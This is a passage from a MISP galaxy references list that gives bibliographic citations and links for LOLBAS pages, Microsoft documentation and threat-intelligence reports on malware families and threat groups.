The tag is: *misp-galaxy:references="Msedge.exe - LOLBAS Project"*

Table 21985. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Msedge/

msedge_proxy.exe - LOLBAS Project

LOLBAS. (2023, August 18). msedge_proxy.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="msedge_proxy.exe - LOLBAS Project"*

Table 21986. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/msedge_proxy/

msedgewebview2.exe - LOLBAS Project

LOLBAS. (2023, June 15). msedgewebview2.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="msedgewebview2.exe - LOLBAS Project"*

Table 21987. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/msedgewebview2/

LOLBAS Mshta

LOLBAS. (n.d.). Mshta.exe. Retrieved July 31, 2019.

The tag is: *misp-galaxy:references="LOLBAS Mshta"*

Table 21988. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Mshta/

Mshtml.dll - LOLBAS Project

LOLBAS. (2018, May 25). Mshtml.dll. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Mshtml.dll - LOLBAS Project"*

Table 21989. Table References

Links
https://lolbas-project.github.io/lolbas/Libraries/Mshtml/

Microsoft msiexec

Microsoft. (2017, October 15). msiexec. Retrieved January 24, 2020.

The tag is: *misp-galaxy:references="Microsoft msiexec"*

Table 21990. Table References

Links
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec

LOLBAS Msiexec

LOLBAS. (n.d.). Msiexec.exe. Retrieved April 18, 2019.

The tag is: *misp-galaxy:references="LOLBAS Msiexec"*

Table 21991. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Msiexec/

CIS Emotet Dec 2018

CIS. (2018, December 12). MS-ISAC Security Primer- Emotet. Retrieved March 25, 2019.

The tag is: *misp-galaxy:references="CIS Emotet Dec 2018"*

Table 21992. Table References

Links
https://www.cisecurity.org/white-papers/ms-isac-security-primer-emotet/

Microsoft NRPC Dec 2017

Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. Retrieved December 6, 2017.

The tag is: *misp-galaxy:references="Microsoft NRPC Dec 2017"*

Table 21993. Table References

Links
https://msdn.microsoft.com/library/cc237008.aspx

MsoHtmEd.exe - LOLBAS Project

LOLBAS. (2022, July 24). MsoHtmEd.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="MsoHtmEd.exe - LOLBAS Project"*

Table 21994. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/MsoHtmEd/

Mspub.exe - LOLBAS Project

LOLBAS. (2022, August 2). Mspub.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Mspub.exe - LOLBAS Project"*

Table 21995. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Mspub/

Microsoft SAMR

Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.

The tag is: *misp-galaxy:references="Microsoft SAMR"*

Table 21996. Table References

Links
https://msdn.microsoft.com/library/cc245496.aspx

GitHub IAD Secure Host Baseline UAC Filtering

NSA IAD. (2017, January 24). MS Security Guide. Retrieved December 18, 2017.

The tag is: *misp-galaxy:references="GitHub IAD Secure Host Baseline UAC Filtering"*

Table 21997. Table References

Links
https://github.com/iadgov/Secure-Host-Baseline/blob/master/Windows/Group%20Policy%20Templates/en-US/SecGuide.adml

msxsl.exe - LOLBAS Project

LOLBAS. (2018, May 25). msxsl.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="msxsl.exe - LOLBAS Project"*

Table 21998. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Msxsl/

XSL Bypass Mar 2019

Singh, A. (2019, March 14). MSXSL.EXE and WMIC.EXE — A Way to Proxy Code Execution. Retrieved August 2, 2019.

The tag is: *misp-galaxy:references="XSL Bypass Mar 2019"*

Table 21999. Table References

Links
https://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75

Mandiant M-Trends 2015

Mandiant. (2015, February 24). M-Trends 2015: A View from the Front Lines. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Mandiant M-Trends 2015"*

Table 22000. Table References

Links
https://web.archive.org/web/20160629094859/https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf

MTrends 2016

Mandiant. (2016, February). M-Trends 2016. Retrieved January 4, 2017.

The tag is: *misp-galaxy:references="MTrends 2016"*

Table 22001. Table References

Links
https://www.fireeye.com/content/dam/fireeye-www/regional/fr_FR/offers/pdfs/ig-mtrends-2016.pdf

Mandiant M-Trends 2020

Mandiant. (2020, February). M-Trends 2020. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Mandiant M-Trends 2020"*

Table 22002. Table References

Links
https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf

Accenture MUDCARP March 2019

Accenture iDefense Unit. (2019, March 5). Mudcarp’s Focus on Submarine Technologies. Retrieved August 24, 2021.

The tag is: *misp-galaxy:references="Accenture MUDCARP March 2019"*

Table 22003. Table References

Links
https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies

Unit 42 4 9 2024

Margaret Zimmermann. (2024, April 9). Muddled Libra's Evolution to the Cloud. Retrieved April 9, 2024.

The tag is: *misp-galaxy:references="Unit 42 4 9 2024"*

Table 22004. Table References

Links
https://unit42.paloaltonetworks.com/muddled-libra-evolution-to-cloud/

Unit 42 MuddyWater Nov 2017

Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.

The tag is: *misp-galaxy:references="Unit 42 MuddyWater Nov 2017"*

Table 22005. Table References

Links
https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/

Securelist MuddyWater Oct 2018

Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.

The tag is: *misp-galaxy:references="Securelist MuddyWater Oct 2018"*

Table 22006. Table References

Links
https://securelist.com/muddywater/88059/

ClearSky MuddyWater Nov 2018

ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.

The tag is: *misp-galaxy:references="ClearSky MuddyWater Nov 2018"*

Table 22007. Table References

Links
https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf

TrendMicro POWERSTATS V3 June 2019

Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020.

The tag is: *misp-galaxy:references="TrendMicro POWERSTATS V3 June 2019"*

Table 22008. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/

Aquasec Muhstik Malware 2024

Nitzan Yaakov. (2024, June 4). Muhstik Malware Targets Message Queuing Services Applications. Retrieved September 24, 2024.

The tag is: *misp-galaxy:references="Aquasec Muhstik Malware 2024"*

Table 22009. Table References

Links
https://www.aquasec.com/blog/muhstik-malware-targets-message-queuing-services-applications/

NIST MFA

NIST. (n.d.). Multi-Factor Authentication (MFA). Retrieved September 25, 2024.

The tag is: *misp-galaxy:references="NIST MFA"*

Table 22010. Table References

Links
https://csrc.nist.gov/glossary/term/multi_factor_authentication

sophos-multiple-attackers

Matt Wixey. (2022, August 9). Multiple attackers increase pressure on victims, complicate incident response. Retrieved January 31, 2025.

The tag is: *misp-galaxy:references="sophos-multiple-attackers"*

Table 22011. Table References

Links
<a href="https://news.sophos.com/en-us/2022/08/09/multiple-attackers-increase-pressure-on-victims-complicate-incident-response/<mark>:_{:text=While%20some%20threat%20actors%20are%20interdependent%20%28e.g.%2C%20IABs,vulnerabilities%20or%20disabling%20vulnerable%20services%20after%20gaining%20access">https://news.sophos.com/en-us/2022/08/09/multiple-attackers-increase-pressure-on-victims-complicate-incident-response/</mark>:}:text=While%20some%20threat%20actors%20are%20interdependent%20%28e.g.%2C%20IABs

Talos Cobalt Group July 2018

Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.

The tag is: *misp-galaxy:references="Talos Cobalt Group July 2018"*

Table 22012. Table References

Links
https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html

U.S. CISA Zoho Exploits September 7 2023

Cybersecurity and Infrastructure Security Agency. (2023, September 7). Multiple Nation-State Threat Actors Exploit CVE-2022-47966 and CVE-2022-42475. Retrieved September 7, 2023.

The tag is: *misp-galaxy:references="U.S. CISA Zoho Exploits September 7 2023"*

Table 22013. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-250a

Microsoft TeamCity Exploit Campaign October 18 2023

Microsoft Threat Intelligence. (2023, October 18). Multiple North Korean threat actors exploiting the TeamCity CVE-2023-42793 vulnerability. Retrieved July 1, 2025.

The tag is: *misp-galaxy:references="Microsoft TeamCity Exploit Campaign October 18 2023"*

Table 22014. Table References

Links
https://www.microsoft.com/en-us/security/blog/2023/10/18/multiple-north-korean-threat-actors-exploiting-the-teamcity-cve-2023-42793-vulnerability/

CIS Multiple SMB Vulnerabilities

CIS. (2017, May 15). Multiple Vulnerabilities in Microsoft Windows SMB Server Could Allow for Remote Code Execution. Retrieved April 3, 2018.

The tag is: *misp-galaxy:references="CIS Multiple SMB Vulnerabilities"*

Table 22015. Table References

Links
https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/

TrendMicro RA World March 4 2024

Nathaniel Morales, Katherine Casona, Ieriz Nicolle Gonzalez, Ivan Nicole Chavez, Maristel Policarpio, Jacob Santos. (2024, March 4). Multistage RA World Ransomware Uses Anti-AV Tactics, Exploits GPO. Retrieved June 11, 2025.

The tag is: *misp-galaxy:references="TrendMicro RA World March 4 2024"*

Table 22016. Table References

Links
https://www.trendmicro.com/en_us/research/24/c/multistage-ra-world-ransomware.html

GitHub Mauraena

Orrù, M., Trotta, G.. (2019, September 11). Muraena. Retrieved October 14, 2019.

The tag is: *misp-galaxy:references="GitHub Mauraena"*

Table 22017. Table References

Links
https://github.com/muraenateam/muraena

Arbor Musical Chairs Feb 2018

Sabo, S. (2018, February 15). Musical Chairs Playing Tetris. Retrieved February 19, 2018.

The tag is: *misp-galaxy:references="Arbor Musical Chairs Feb 2018"*

Table 22018. Table References

Links
https://www.arbornetworks.com/blog/asert/musical-chairs-playing-tetris/

Cisco Talos Mustang Panda May 5 2022

Asheer Malhotra, Jungsoo An, Kendall McKay. (2022, May 5). Mustang Panda deploys a new wave of malware targeting Europe. Retrieved June 9, 2025.

The tag is: *misp-galaxy:references="Cisco Talos Mustang Panda May 5 2022"*

Table 22019. Table References

Links
https://blog.talosintelligence.com/mustang-panda-targets-europe/

Microsoft Mutexes

Microsoft. (2022, March 11). Mutexes. Retrieved September 19, 2024.

The tag is: *misp-galaxy:references="Microsoft Mutexes"*

Table 22020. Table References

Links
https://learn.microsoft.com/en-us/dotnet/standard/threading/mutexes

CodeX Microsoft Defender 2021

Christopher Brumm. (2021, August 4). My learnings on Microsoft Defender for Endpoint and Exclusions. Retrieved March 18, 2025.

The tag is: *misp-galaxy:references="CodeX Microsoft Defender 2021"*

Table 22021. Table References

Links
https://medium.com/codex/my-learnings-on-microsoft-defender-for-endpoint-and-exclusions-ddacf2fdd047

Mythc Documentation

Thomas, C. (n.d.). Mythc Documentation. Retrieved March 25, 2022.

The tag is: *misp-galaxy:references="Mythc Documentation"*

Table 22022. Table References

Links
https://docs.mythic-c2.net/

Mythic Github

Thomas, C. (2018, July 4). Mythic. Retrieved March 25, 2022.

The tag is: *misp-galaxy:references="Mythic Github"*

Table 22023. Table References

Links
https://github.com/its-a-feature/Mythic

Crowdstrike Mythic Leopard Profile

Crowdstrike. (n.d.). Mythic Leopard. Retrieved October 6, 2021.

The tag is: *misp-galaxy:references="Crowdstrike Mythic Leopard Profile"*

Table 22024. Table References

Links
https://adversary.crowdstrike.com/en-US/adversary/mythic-leopard/

CheckPoint Naikon May 2020

CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020.

The tag is: *misp-galaxy:references="CheckPoint Naikon May 2020"*

Table 22025. Table References

Links
https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/

Bitdefender Naikon April 2021

Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021.

The tag is: *misp-galaxy:references="Bitdefender Naikon April 2021"*

Table 22026. Table References

Links
https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf

Microsoft Named Pipes

Microsoft. (2018, May 31). Named Pipes. Retrieved September 28, 2021.

The tag is: *misp-galaxy:references="Microsoft Named Pipes"*

Table 22027. Table References

Links
https://docs.microsoft.com/en-us/windows/win32/ipc/named-pipes

fsecure NanHaiShu July 2016

F-Secure Labs. (2016, July). NANHAISHU RATing the South China Sea. Retrieved July 6, 2018.

The tag is: *misp-galaxy:references="fsecure NanHaiShu July 2016"*

Table 22028. Table References

Links
https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf

DigiTrust NanoCore Jan 2017

The DigiTrust Group. (2017, January 01). NanoCore Is Not Your Average RAT. Retrieved November 9, 2018.

The tag is: *misp-galaxy:references="DigiTrust NanoCore Jan 2017"*

Table 22029. Table References

Links
https://www.digitrustgroup.com/nanocore-not-your-average-rat/

PaloAlto NanoCore Feb 2016

Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018.

The tag is: *misp-galaxy:references="PaloAlto NanoCore Feb 2016"*

Table 22030. Table References

Links
https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/

Unit42 BabyShark Feb 2019

Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019.

The tag is: *misp-galaxy:references="Unit42 BabyShark Feb 2019"*

Table 22031. Table References

Links
https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/

National Vulnerability Database

National Vulnerability Database. (n.d.). National Vulnerability Database. Retrieved October 15, 2020.

The tag is: *misp-galaxy:references="National Vulnerability Database"*

Table 22032. Table References

Links
https://nvd.nist.gov/

NationsBuying

Nicole Perlroth and David E. Sanger. (2013, July 12). Nations Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017.

The tag is: *misp-galaxy:references="NationsBuying"*

Table 22033. Table References

Links
https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html

FireEye Maze May 2020

Kennelly, J., Goody, K., Shilko, J. (2020, May 7). Navigating the MAZE: Tactics, Techniques and Procedures Associated With MAZE Ransomware Incidents. Retrieved May 18, 2020.

The tag is: *misp-galaxy:references="FireEye Maze May 2020"*

Table 22034. Table References

Links

https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html

Talos NavRAT May 2018

Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Retrieved June 11, 2018.

The tag is: *misp-galaxy:references="Talos NavRAT May 2018"*

Table 22035. Table References

Links
https://blog.talosintelligence.com/2018/05/navrat.html

GitHub NBNSpoof

Nomex. (2014, February 7). NBNSpoof. Retrieved November 17, 2017.

The tag is: *misp-galaxy:references="GitHub NBNSpoof"*

Table 22036. Table References

Links
https://github.com/nomex/nbnspoof

SecTools nbtscan June 2003

SecTools. (2003, June 11). NBTscan. Retrieved March 17, 2021.

The tag is: *misp-galaxy:references="SecTools nbtscan June 2003"*

Table 22037. Table References

Links
https://sectools.org/tool/nbtscan/

Debian nbtscan Nov 2019

Bezroutchko, A. (2019, November 19). NBTscan man page. Retrieved March 17, 2021.

The tag is: *misp-galaxy:references="Debian nbtscan Nov 2019"*

Table 22038. Table References

Links
https://manpages.debian.org/testing/nbtscan/nbtscan.1.en.html

TechNet Nbtstat

Microsoft. (n.d.). Nbtstat. Retrieved April 17, 2016.

The tag is: *misp-galaxy:references="TechNet Nbtstat"*

Table 22039. Table References

Links
https://technet.microsoft.com/en-us/library/cc940106.aspx

NCSC Sandworm Feb 2020

NCSC. (2020, February 20). NCSC supports US advisory regarding GRU intrusion set Sandworm. Retrieved June 10, 2020.

The tag is: *misp-galaxy:references="NCSC Sandworm Feb 2020"*

Table 22040. Table References

Links
https://www.ncsc.gov.uk/news/ncsc-supports-sandworm-advisory

7 - appv

Nick Landers. (2017, August 8). Need a signed alternative to Powershell.exe? SyncAppvPublishingServer in Win10 has got you covered.. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="7 - appv"*

Table 22041. Table References

Links
https://x.com/monoxgas/status/895045566090010624

Szappanos MgBot 2014

Gabor Szappanos. (2014, February 3). Needle in a haystack. Retrieved July 25, 2024.

The tag is: *misp-galaxy:references="Szappanos MgBot 2014"*

Table 22042. Table References

Links
https://www.virusbulletin.com/virusbulletin/2014/02/needle-haystack

Analyst1 Negotiating with LockBit

Anastasia Sentsova. (n.d.). Negotiating with LockBit: Uncovering the Evolution of Operations and Newly Established Rules. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="Analyst1 Negotiating with LockBit"*

Table 22043. Table References

Links
https://analyst1.com/blog-negotiating-with-lockbit-uncovering-the-evolution-of-operations-and-newly-established-rules/

GitHub Neo-reGeorg 2019

L-Codes. (2019). Neo-reGeorg. Retrieved December 4, 2024.

The tag is: *misp-galaxy:references="GitHub Neo-reGeorg 2019"*

Table 22044. Table References

Links
https://github.com/L-codes/Neo-reGeorg/blob/master/README-en.md

TechNet NetBIOS

Microsoft. (n.d.). NetBIOS Name Resolution. Retrieved November 17, 2017.

The tag is: *misp-galaxy:references="TechNet NetBIOS"*

Table 22045. Table References

Links
https://technet.microsoft.com/library/cc958811.aspx

Microsoft Net

Microsoft. (2017, February 14). Net Commands On Windows Operating Systems. Retrieved March 19, 2020.

The tag is: *misp-galaxy:references="Microsoft Net"*

Table 22046. Table References

Links
https://support.microsoft.com/en-us/help/556003

Savill 1999

Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.

The tag is: *misp-galaxy:references="Savill 1999"*

Table 22047. Table References

Links
https://web.archive.org/web/20150511162820/http://windowsitpro.com/windows/netexe-reference

Microsoft Net Utility

Microsoft. (2006, October 18). Net.exe Utility. Retrieved September 22, 2015.

The tag is: *misp-galaxy:references="Microsoft Net Utility"*

Table 22048. Table References

Links
https://msdn.microsoft.com/en-us/library/aa939914

Microsoft Net Group

Microsoft. (2016, August 31). Net group. Retrieved August 5, 2024.

The tag is: *misp-galaxy:references="Microsoft Net Group"*

Table 22049. Table References

Links
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc754051(v=ws.11)

Microsoft Net Localgroup

Microsoft. (2016, August 31). Net Localgroup. Retrieved August 5, 2024.

The tag is: *misp-galaxy:references="Microsoft Net Localgroup"*

Table 22050. Table References

Links
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc725622(v=ws.11)

TechNet Netsh Firewall

Microsoft. (2009, June 3). Netsh Commands for Windows Firewall. Retrieved April 20, 2016.

The tag is: *misp-galaxy:references="TechNet Netsh Firewall"*

Table 22051. Table References

Links
https://technet.microsoft.com/en-us/library/cc771046(v=ws.10).aspx

Netsh.exe - LOLBAS Project

LOLBAS. (2019, December 24). Netsh.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Netsh.exe - LOLBAS Project"*

Table 22052. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Netsh/

Github Netsh Helper CS Beacon

Smeets, M. (2016, September 26). NetshHelperBeacon. Retrieved February 13, 2017.

The tag is: *misp-galaxy:references="Github Netsh Helper CS Beacon"*

Table 22053. Table References

Links
https://github.com/outflankbv/NetshHelperBeacon

TechNet Netstat

Microsoft. (n.d.). Netstat. Retrieved April 17, 2016.

The tag is: *misp-galaxy:references="TechNet Netstat"*

Table 22054. Table References

Links
https://technet.microsoft.com/en-us/library/bb490947.aspx

The DFIR Report NetSupport October 30 2023

The DFIR Report. (2023, October 30). NetSupport Intrusion Results in Domain Compromise. Retrieved May 22, 2024.

The tag is: *misp-galaxy:references="The DFIR Report NetSupport October 30 2023"*

Table 22055. Table References

Links
https://thedfirreport.com/2023/10/30/netsupport-intrusion-results-in-domain-compromise/

TechNet Net Time

Microsoft. (n.d.). Net time. Retrieved November 25, 2016.

The tag is: *misp-galaxy:references="TechNet Net Time"*

Table 22056. Table References

Links
https://technet.microsoft.com/bb490716.aspx

Technet Net Use

Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.

The tag is: *misp-galaxy:references="Technet Net Use"*

Table 22057. Table References

Links
https://technet.microsoft.com/bb490717.aspx

TrendMicro Netwalker May 2020

Victor, K.. (2020, May 18). Netwalker Fileless Ransomware Injected via Reflective Loading . Retrieved May 26, 2020.

The tag is: *misp-galaxy:references="TrendMicro Netwalker May 2020"*

Table 22058. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/netwalker-fileless-ransomware-injected-via-reflective-loading/

Sophos Netwalker May 2020

Szappanos, G., Brandt, A.. (2020, May 27). Netwalker ransomware tools give insight into threat actor. Retrieved May 27, 2020.

The tag is: *misp-galaxy:references="Sophos Netwalker May 2020"*

Table 22059. Table References

Links
https://news.sophos.com/en-us/2020/05/27/netwalker-ransomware-tools-give-insight-into-threat-actor/

McAfee Netwire Mar 2015

McAfee. (2015, March 2). Netwire RAT Behind Recent Targeted Attacks. Retrieved February 15, 2018.

The tag is: *misp-galaxy:references="McAfee Netwire Mar 2015"*

Table 22060. Table References

Links
https://securingtomorrow.mcafee.com/mcafee-labs/netwire-rat-behind-recent-targeted-attacks/

Windows Anonymous Enumeration of SAM Accounts

Microsoft. (2017, April 19). Network access: Do not allow anonymous enumeration of SAM accounts and shares. Retrieved May 20, 2020.

The tag is: *misp-galaxy:references="Windows Anonymous Enumeration of SAM Accounts"*

Table 22061. Table References

Links
https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-access-do-not-allow-anonymous-enumeration-of-sam-accounts-and-shares

Microsoft Network access Credential Manager

Microsoft. (2016, August 31). Network access: Do not allow storage of passwords and credentials for network authentication. Retrieved November 23, 2020.

The tag is: *misp-galaxy:references="Microsoft Network access Credential Manager"*

Table 22062. Table References

Links
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/jj852185(v=ws.11)?redirectedfrom=MSDN

Microsoft NFS Overview

Microsoft. (2018, July 9). Network File System overview. Retrieved September 28, 2021.

The tag is: *misp-galaxy:references="Microsoft NFS Overview"*

Table 22063. Table References

Links
https://docs.microsoft.com/en-us/windows-server/storage/nfs/nfs-overview

Network Provider API

Microsoft. (2021, January 7). Network Provider API. Retrieved March 30, 2023.

The tag is: *misp-galaxy:references="Network Provider API"*

Table 22064. Table References

Links
https://learn.microsoft.com/en-us/windows/win32/secauthn/network-provider-api

Malwarebytes Agent Tesla April 2020

Jazi, H. (2020, April 16). New AgentTesla variant steals WiFi credentials. Retrieved May 19, 2020.

The tag is: *misp-galaxy:references="Malwarebytes Agent Tesla April 2020"*

Table 22065. Table References

Links
https://blog.malwarebytes.com/threat-analysis/2020/04/new-agenttesla-variant-steals-wifi-credentials/

Malware Bytes New AgentTesla variant steals WiFi credentials

Hossein Jazi. (2020, April 16). New AgentTesla variant steals WiFi credentials. Retrieved September 8, 2023.

The tag is: *misp-galaxy:references="Malware Bytes New AgentTesla variant steals WiFi credentials"*

Table 22066. Table References

Links
https://www.malwarebytes.com/blog/news/2020/04/new-agenttesla-variant-steals-wifi-credentials

TrendMicro New Andariel Tactics July 2018

Chen, Joseph. (2018, July 16). New Andariel Reconnaissance Tactics Uncovered. Retrieved September 29, 2021.

The tag is: *misp-galaxy:references="TrendMicro New Andariel Tactics July 2018"*

Table 22067. Table References

Links
https://www.trendmicro.com/en_us/research/18/g/new-andariel-reconnaissance-tactics-hint-at-next-targets.html

Unit 42 C0d0so0 Jan 2016

Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.

The tag is: *misp-galaxy:references="Unit 42 C0d0so0 Jan 2016"*

Table 22068. Table References

Links
https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/

Trend Micro Banking Malware Jan 2019

Salvio, J.. (2014, June 27). New Banking Malware Uses Network Sniffing for Data Theft. Retrieved March 25, 2019.

The tag is: *misp-galaxy:references="Trend Micro Banking Malware Jan 2019"*

Table 22069. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/new-banking-malware-uses-network-sniffing-for-data-theft/

IBM IcedID November 2017

Kessem, L., et al. (2017, November 13). New Banking Trojan IcedID Discovered by IBM X-Force Research. Retrieved July 14, 2020.

The tag is: *misp-galaxy:references="IBM IcedID November 2017"*

Table 22070. Table References

Links
https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/

Minerva Labs Black Basta May 2022

Zargarov, N. (2022, May 2). New Black Basta Ransomware Hijacks Windows Fax Service. Retrieved March 7, 2023.

The tag is: *misp-galaxy:references="Minerva Labs Black Basta May 2022"*

Table 22071. Table References

Links
https://minerva-labs.com/blog/new-black-basta-ransomware-hijacks-windows-fax-service/

Google TAG Lazarus Jan 2021

Weidemann, A. (2021, January 25). New campaign targeting security researchers. Retrieved December 20, 2021.

The tag is: *misp-galaxy:references="Google TAG Lazarus Jan 2021"*

Table 22072. Table References

Links
https://blog.google/threat-analysis-group/new-campaign-targeting-security-researchers/

Airbus Derusbi 2015

Perigaud, F. (2015, December 15). Newcomers in the Derusbi family. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="Airbus Derusbi 2015"*

Table 22073. Table References

Links
https://web.archive.org/web/20180607084223/http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family

Malwarebytes Crossrider Apr 2018

Reed, Thomas. (2018, April 24). New Crossrider variant installs configuration profiles on Macs. Retrieved September 6, 2019.

The tag is: *misp-galaxy:references="Malwarebytes Crossrider Apr 2018"*

Table 22074. Table References

Links
https://blog.malwarebytes.com/threat-analysis/2018/04/new-crossrider-variant-installs-configuration-profiles-on-macs/

IBM ZeroCleare Wiper December 2019

Kessem, L. (2019, December 4). New Destructive Wiper ZeroCleare Targets Energy Sector in the Middle East. Retrieved September 4, 2024.

The tag is: *misp-galaxy:references="IBM ZeroCleare Wiper December 2019"*

Table 22075. Table References

Links
https://securityintelligence.com/posts/new-destructive-wiper-zerocleare-targets-energy-sector-in-the-middle-east/

CyberBit Early Bird Apr 2018

Gavriel, H. & Erbesfeld, B. (2018, April 11). New 'Early Bird' Code Injection Technique Discovered. Retrieved May 24, 2018.

The tag is: *misp-galaxy:references="CyberBit Early Bird Apr 2018"*

Table 22076. Table References

Links
https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/

Zscaler Molerats Campaign

Sahil Antil, Sudeep Singh. (2022, January 20). New espionage attack by Molerats APT targeting users in the Middle East. Retrieved October 10, 2023.

The tag is: *misp-galaxy:references="Zscaler Molerats Campaign"*

Table 22077. Table References

Links
https://www.zscaler.com/blogs/security-research/new-espionage-attack-molerats-apt-targeting-users-middle-east

CrowdStrike Wizard Spider March 2019

Feeley, B. and Stone-Gross, B. (2019, March 20). New Evidence Proves Ongoing WIZARD SPIDER / LUNAR SPIDER Collaboration. Retrieved June 15, 2020.

The tag is: *misp-galaxy:references="CrowdStrike Wizard Spider March 2019"*

Table 22078. Table References

Links
https://www.crowdstrike.com/blog/wizard-spider-lunar-spider-shared-proxy-module/

Bleeping Computer Evil Corp mimics PayloadBin gang 2022

Abrams, L. (2021, June 6). New Evil Corp ransomware mimics PayloadBin gang to evade US sanctions. Retrieved July 19, 2022.

The tag is: *misp-galaxy:references="Bleeping Computer Evil Corp mimics PayloadBin gang 2022"*

Table 22079. Table References

Links
https://www.bleepingcomputer.com/news/security/new-evil-corp-ransomware-mimics-payloadbin-gang-to-evade-us-sanctions/

Reliaquest-execution

Reliaquest. (2024, May 31). New Execution Technique in ClearFake Campaign. Retrieved August 2, 2024.

The tag is: *misp-galaxy:references="Reliaquest-execution"*

Table 22080. Table References

Links
https://www.reliaquest.com/blog/new-execution-technique-in-clearfake-campaign/

TechNet Office Macro Security

Microsoft Malware Protection Center. (2016, March 22). New feature in Office 2016 can block macros and help prevent infection. Retrieved July 3, 2017.

The tag is: *misp-galaxy:references="TechNet Office Macro Security"*

Table 22081. Table References

Links
https://blogs.technet.microsoft.com/mmpc/2016/03/22/new-feature-in-office-2016-can-block-macros-and-help-prevent-infection/

Microsoft Block Office Macros

Windows Defender Research. (2016, March 22). New feature in Office 2016 can block macros and help prevent infection. Retrieved April 11, 2018.

The tag is: *misp-galaxy:references="Microsoft Block Office Macros"*

Table 22082. Table References

Links
https://cloudblogs.microsoft.com/microsoftsecure/2016/03/22/new-feature-in-office-2016-can-block-macros-and-help-prevent-infection/

SolarWinds Sunburst Sunspot Update January 2021

Sudhakar Ramakrishna . (2021, January 11). New Findings From Our Investigation of SUNBURST. Retrieved January 13, 2021.

The tag is: *misp-galaxy:references="SolarWinds Sunburst Sunspot Update January 2021"*

Table 22083. Table References

Links
